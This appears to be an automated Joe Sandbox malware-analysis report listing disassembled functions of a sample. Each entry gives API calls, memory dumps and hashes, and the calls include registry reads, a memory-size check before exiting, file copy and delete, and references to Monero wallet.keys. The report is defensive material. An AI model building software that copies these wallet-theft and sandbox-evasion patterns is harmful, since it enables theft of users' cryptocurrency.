Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 161441d47d5fcd4fadde49da5af23bf4ca7a3bcfcddf7eeea00d34843ebb0b75
Instruction ID: d3669d0de800f33407bb4faeafc2589681ddb650e3542f3b99ad5239c030e69c
Opcode Fuzzy Hash: 161441d47d5fcd4fadde49da5af23bf4ca7a3bcfcddf7eeea00d34843ebb0b75
Instruction Fuzzy Hash: E13152B290031967CB15F7B0DC89EED777CBB98700F404589B356A6081EEB4E6898F95

Function 00521220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0052123E
__aulldiv.LIBCMT ref: 00521258
__aulldiv.LIBCMT ref: 00521266
ExitProcess.KERNEL32 ref: 00521294

Strings

@, xrefs: 00521233

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 83fb8dc7434d58a6364c3188a0d1318c4fa57fab9bc876e1b3dd737c2a4c94c4
Instruction ID: 2ca952180b0953edd14b8241d28bab7b06e0f56fbd47bc7d15ab3b23f2db1b85
Opcode Fuzzy Hash: 83fb8dc7434d58a6364c3188a0d1318c4fa57fab9bc876e1b3dd737c2a4c94c4
Instruction Fuzzy Hash: 3F014BB0944308FAEB10DBE0EC49BAEBB78BF54701F248048F606B62C0D6B465418BAD

Function 005340B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,0108DF08,00000000,00020119,?), ref: 005340F4
RegQueryValueExA.ADVAPI32(?,0108EC38,00000000,00000000,00000000,000000FF), ref: 00534118
RegCloseKey.ADVAPI32(?), ref: 00534122
lstrcat.KERNEL32(?,00000000), ref: 00534147
lstrcat.KERNEL32(?,0108ED70), ref: 0053415B

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: befeafe03bfc9a46a5a0b0826a12330b505f72a18d829e7179e371643b36cc02
Instruction ID: 700298dc65e6c624866b10232899529fa00ade3398a91f28dbb78099acfe8a58
Opcode Fuzzy Hash: befeafe03bfc9a46a5a0b0826a12330b505f72a18d829e7179e371643b36cc02
Instruction Fuzzy Hash: 2F418D7690020877DB14EBA0EC5AFFE773DBB98300F008558F61657181EAB55B888FD2

Function 6CE8C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6CE8C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CE8C969
GetSystemInfo.KERNEL32(?), ref: 6CE8C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CE8C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CE8C9E2

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: bf89e8f86fb3a13474d51dea8c8062537caeaa0b18f0baab11750d7a62ddfe12
Instruction ID: 72b24082a06f37d55be42501f8c738e1fc28065e3cf2dfacf1c98d501c6314ff
Opcode Fuzzy Hash: bf89e8f86fb3a13474d51dea8c8062537caeaa0b18f0baab11750d7a62ddfe12
Instruction Fuzzy Hash: 98210A32B422046BDB05AE64EC84BAE73B9ABC7304F70165DF91BA7B40DB61584487A1

Function 00537E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00537E37
RtlAllocateHeap.NTDLL(00000000), ref: 00537E3E
RegOpenKeyExA.KERNEL32(80000002,0107B7E0,00000000,00020119,?), ref: 00537E5E
RegQueryValueExA.KERNEL32(?,0108DD48,00000000,00000000,000000FF,000000FF), ref: 00537E7F
RegCloseKey.ADVAPI32(?), ref: 00537E92

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 8750340f131db29ff05ba73a426176cc9528aab7b98ec55ca404cc140f47e7fe
Instruction ID: 29f49c572d9e0fb03b67c44665cd778e5edaa5b8942994ed82331821c1c82fa7
Opcode Fuzzy Hash: 8750340f131db29ff05ba73a426176cc9528aab7b98ec55ca404cc140f47e7fe
Instruction Fuzzy Hash: 40113DB1A44309BBDB14CB94DD49FABBBBCFB48B10F108159F606A7280D7B858009FA1

Function 005212A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 005212B4
RtlAllocateHeap.NTDLL(00000000), ref: 005212BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 005212D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 005212F5
RegCloseKey.ADVAPI32(?), ref: 005212FF

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 8a085748b40f0ee4be7178f5efad3e075f20b5845f79956b15b3693020231b98
Instruction ID: b37fc5b15d0e999e6f45ded1d051b30bdec200a72328f6500a39d46327f6e8b1
Opcode Fuzzy Hash: 8a085748b40f0ee4be7178f5efad3e075f20b5845f79956b15b3693020231b98
Instruction Fuzzy Hash: A701E6B9A40309BBDB14DFE4DC49FAEB7B8EB48701F108155FA06A7280D6B5AA018F55

Function 0052A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(01088B88,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 0052A0BD
LoadLibraryA.KERNEL32(010762F8), ref: 0052A146

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A820: lstrlen.KERNEL32(00524F05,?,?,00524F05,00540DDE), ref: 0053A82B
Part of subcall function 0053A820: lstrcpy.KERNEL32(00540DDE,00000000), ref: 0053A885

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

SetEnvironmentVariableA.KERNEL32(01088B88,00000000,00000000,?,005412D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00540AFE), ref: 0052A132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0052A0B2, 0052A0C6, 0052A0DC

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-2812842227
Opcode ID: e40f371b752993ab3f73fd58d27383bbaf24e439368978022e5d7077aff60c5b
Instruction ID: 19d0c520c42054940f81bb0b30542fdb521e8eb15bbfb78b058b958e201330cd
Opcode Fuzzy Hash: e40f371b752993ab3f73fd58d27383bbaf24e439368978022e5d7077aff60c5b
Instruction Fuzzy Hash: D14130B1901305BFCB04EFA4EC59EAA7B74BB49301F148118E507B32A1EBB95944CF67

Function 0052A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

Part of subcall function 00538B60: GetSystemTime.KERNEL32(00540E1A,0108E700,005405AE,?,?,005213F9,?,0000001A,00540E1A,00000000,?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 00538B86

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0052A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0052A3FF
lstrlen.KERNEL32(00000000), ref: 0052A6BC

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

DeleteFileA.KERNEL32(00000000), ref: 0052A743

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: a63cc04827a3e994059de6cba35bfad56b32ff35f01f0ca655a9b49bc719e58e
Instruction ID: 2a2c7ed48ca7be4a5bf64e3afb99d544986e47e5040487ad9dee3f3cd2ce2edc
Opcode Fuzzy Hash: a63cc04827a3e994059de6cba35bfad56b32ff35f01f0ca655a9b49bc719e58e
Instruction Fuzzy Hash: 79E11073810109ABCB04FBA4DC9AEEEBB38BF94300F508159F55772091EF746A49CB66

Function 0052D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
